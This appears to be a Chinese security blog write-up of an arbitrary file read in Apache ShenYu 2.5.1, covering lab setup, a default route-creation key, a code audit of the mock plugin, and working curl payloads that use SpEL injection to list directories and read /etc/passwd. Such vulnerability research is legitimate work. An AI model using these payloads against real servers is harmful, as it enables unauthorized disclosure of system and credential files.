Apache shenyu 2.5.1 任意文件读取

494 字
2 分钟
Apache shenyu 2.5.1 任意文件读取

环境搭建#

  • 系统环境:Ubuntu 24.04
  • 利用条件:开启 mock 插件
  1. docker 环境搭建
sudo docker network create shenyu-quickstart
sudo docker run -d --name shenyu-admin-quickstart \
-p 9095:9095 \
--network=shenyu-quickstart \
apache/shenyu-admin:2.5.1
sudo docker run -d --name shenyu-quickstart \
-p 9195:9195 \
-e "shenyu.local.enabled=true" \
-e SHENYU_SYNC_WEBSOCKET_URLS=ws://shenyu-admin-quickstart:9095/websocket \
--network=shenyu-quickstart \
apache/shenyu-bootstrap:2.5.1
  1. 首先要进 shenhyu-amdin 的后台开个设置,默认账户:admin<123456>

image
image

  1. 开启 mock 插件,环境搭建完成

image
image

image
image

信息收集#

  1. 打开页面发现是 apache shenyu 框架

image
image

  1. 去 github 搜这个框架,并且在 src/main/resources/application.yml 目录发现了开放的接口

image
image

  1. 先探测一下版本,访问了一下 /v3/api-docs 提示失败,考虑到版本较老,将 v3 改为 v2 访问成功,并且看到了框架版本信息

image
image

默认 key 创建路由#

在 ReadMe 里有个默认 key,可以用于创建路由

image
image

官方给出的示例如下

curl --location --request POST 'http://localhost:9195/shenyu/plugin/selectorAndRules' \--header 'Content-Type: application/json' \--header 'localKey: 123456' \--data-raw '{
"pluginName": "divide",
"selectorHandler": "[{\"upstreamUrl\":\"127.0.0.1:8080\"}]",
"conditionDataList": [{
"paramType": "uri",
"operator": "match",
"paramValue": "/**"
}],
"ruleDataList": [{
"ruleHandler": "{\"loadBalance\":\"random\"}",
"conditionDataList": [{
"paramType": "uri",
"operator": "match",
"paramValue": "/**"
}]
}]
}'

image
image

但是并没有什么用,我们现在的思路是找到一个有问题的插件,添加路由,然后在访问路由时触发 sink 点

代码审计#

通过代码审计我们可以看到 shenyu-plugin-mock 插件有一处 SPEL 表达式注入,文件路径:C:\Users\aaa\Documents\environment\shenyu-2.5.1_2\shenyu-2.5.1\shenyu-plugin\shenyu-plugin-mock\src\main\java\org\apache\shenyu\plugin\mock\generator\ExpressionGenerator.java,同时文档也有提到这个插件:Mock 插件 | Apache ShenYu,但是我们并不知道传参,所以我们现在要去找传参

image
image

经过一番寻找,传参在 C:\Users\aaa\Documents\environment\shenyu-2.5.1_2\shenyu-2.5.1\shenyu-web\src\main\java\org\apache\shenyu\web\controller\LocalPluginController.java

image
image

SPEL 表达式注入利用#

列目录

curl --location --request POST 'http://10.8.20.114:9195/shenyu/plugin/selectorAndRules' \
--header 'localKey: 123456' \
--header 'Content-Type: application/json' \
--header 'User-Agent: PostmanRuntime/7.51.0' \
--data-raw '{
"pluginName": "mock",
"selectorHandler": "[]",
"conditionDataList": [
{
"paramType": "uri",
"operator": "match",
"paramValue": "/ls/**"
}
],
"ruleDataList": [
{
"ruleName": "list_dir",
"ruleHandler": "{\"httpStatusCode\":200,\"responseContent\":\"{\\\"files\\\":\\\"${expression|T(org.springframework.util.StringUtils).arrayToCommaDelimitedString(new java.io.File(\\\".\\\").list())}\\\"}\"}",
"conditionDataList": [
{
"paramType": "uri",
"operator": "match",
"paramValue": "/ls/**"
}
]
}
]
}'

image
image

读 passwd 文件

curl -X POST http://10.8.20.114:9195/shenyu/plugin/selectorAndRules \
-H 'Content-Type: application/json' \
-H 'localKey: 123456' \
--data-raw '{
"pluginName": "mock",
"selectorHandler": "[]",
"conditionDataList": [
{
"paramType": "uri",
"operator": "match",
"paramValue": "/readfile2/**"
}
],
"ruleDataList": [
{
"ruleName": "read_test",
"ruleHandler": "{\"httpStatusCode\":200,\"responseContent\":\"{\\\"file\\\":\\\"${expression|new java.lang.String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(\\\"/etc/passwd\\\")))}\\\"}\"}",
"conditionDataList": [
{
"paramType": "uri",
"operator": "match",
"paramValue": "/readfile2/**"
}
]
}
]
}'

image
image

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Apache shenyu 2.5.1 任意文件读取
https://blog.freeaes.com/posts/apacheshenyu251-ren-yi-wen-jian-du-qu/
作者
Nevolar
发布于
2026-08-22
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
Nevolar
一个平平无奇的网络安全爱好者
月夜之下,唯有你我
分类
标签
最新动态
站点统计
文章
9
分类
7
标签
9
总字数
13,261
运行时长
0
最后活动
0 天前